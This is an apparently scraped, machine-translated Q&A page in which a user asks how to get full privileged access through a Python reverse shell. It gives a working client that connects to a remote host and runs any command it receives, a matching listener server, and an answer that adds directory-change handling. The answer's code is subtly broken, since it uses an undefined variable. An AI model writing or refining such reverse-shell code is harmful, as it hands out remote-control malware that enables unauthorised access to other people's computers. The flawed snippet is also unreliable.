简体   繁体   English

尝试更改目录时,使用 Python 命令的反向 Shell 命令卡住了

[英]Reverse Shell Command with Python command gets stuck when trying to change directory

I am trying to get full access with full privileges with a reverse shell with python.我正在尝试使用带有 python 的反向 shell 以完全权限获得完全访问权限。

The connections get established, and I can do a command like "ipconfig" or "dir" (although sometimes I need to ask twice before getting a result for "dir" command.连接建立后,我可以执行诸如“ipconfig”或“dir”之类的命令(尽管有时在获得“dir”命令的结果之前我需要询问两次。

However, when I try to change the directory with a "cd.." command, it gets stuck and does not return anything.但是,当我尝试使用“cd..”命令更改目录时,它会卡住并且不返回任何内容。

Here is my client file:这是我的客户端文件:

import socket
import subprocess
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 
    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

Here is my server file:这是我的服务器文件:

import socket
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
while True:
    command = input("Enter the command you wanna execute:")
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    else:
        results = client_socket.recv(1024).decode()
        print(results)
client_socket.close()
s.close()

Here is what I get and where it gets stuck:这是我得到的以及卡住的地方:

Listening as 192.168.1.81:5003 ...
192.168.1.81:52553 Connected!
 Enter the command you wanna execute:dir
 Volume in drive C is Windows
 Volume Serial Number is 7E4C-AD89

 Directory of C:\Users\CobraCommander\PycharmProjects\Nuke

10/11/2020  08:45 AM    <DIR>          .
10/11/2020  08:45 AM    <DIR>          ..
10/11/2020  08:44 AM    <DIR>          .idea
10/11/2020  12:40 AM                 0 Client.py
10/11/2020  08:45 AM               569 my_client.py
10/11/2020  12:40 AM               885 my_server.py
               3 File(s)          1,454 bytes
               3 Dir(s)  46,585,339,904 bytes free
Enter the command you wanna execute:cd..

# It gets stuck here, it does not return anything.

How do I get full access to the client and do any possible command?如何获得对客户端的完全访问权限并执行任何可能的命令?

Solved by using "os" library in the client file with the "os.chdir" method like so:通过使用“os.chdir”方法在客户端文件中使用“os”库解决,如下所示:

import socket
import subprocess

import os # Import this library

SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 

    if data[:2].decode('utf-8') == 'cd':
        os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"

    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 尝试用Python调用shell命令,什么也没做 - Trying to call a shell command with Python, gets nothing 在python中运行shell命令陷入困境 - running a shell command in python get stuck discord bot 命令运行,但在尝试乘法时卡住 - discord bot command runs, but gets stuck trying to multiply 尝试异步调用 shell 命令时,Python 错误引发 NotImplementedError - Python error raise NotImplementedError when trying to call shell command async 尝试通过 Python 3 命令 Shell 打开文件时出现语法错误 - Syntax error when trying to open a file through Python 3 Command Shell 尝试从 python 运行 shell 命令时没有 output - No output when trying to run a shell command from python 等效于 shell &#39;cd&#39; 命令来更改工作目录? - Equivalent of shell 'cd' command to change the working directory? 部署Python应用程序时,Windows上的Jenkins卡在Fabric远程命令上 - Jenkins on Windows gets stuck on Fabric remote command when deploying Python app 更改目录和执行命令 - Python - Change Directory and Execute Command - Python Python:是否可以在不更改实际当前目录的情况下更改Windows命令行shell当前目录? - Python: Is it possible to change the Windows command line shell current directory without changing the actual current directory?
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM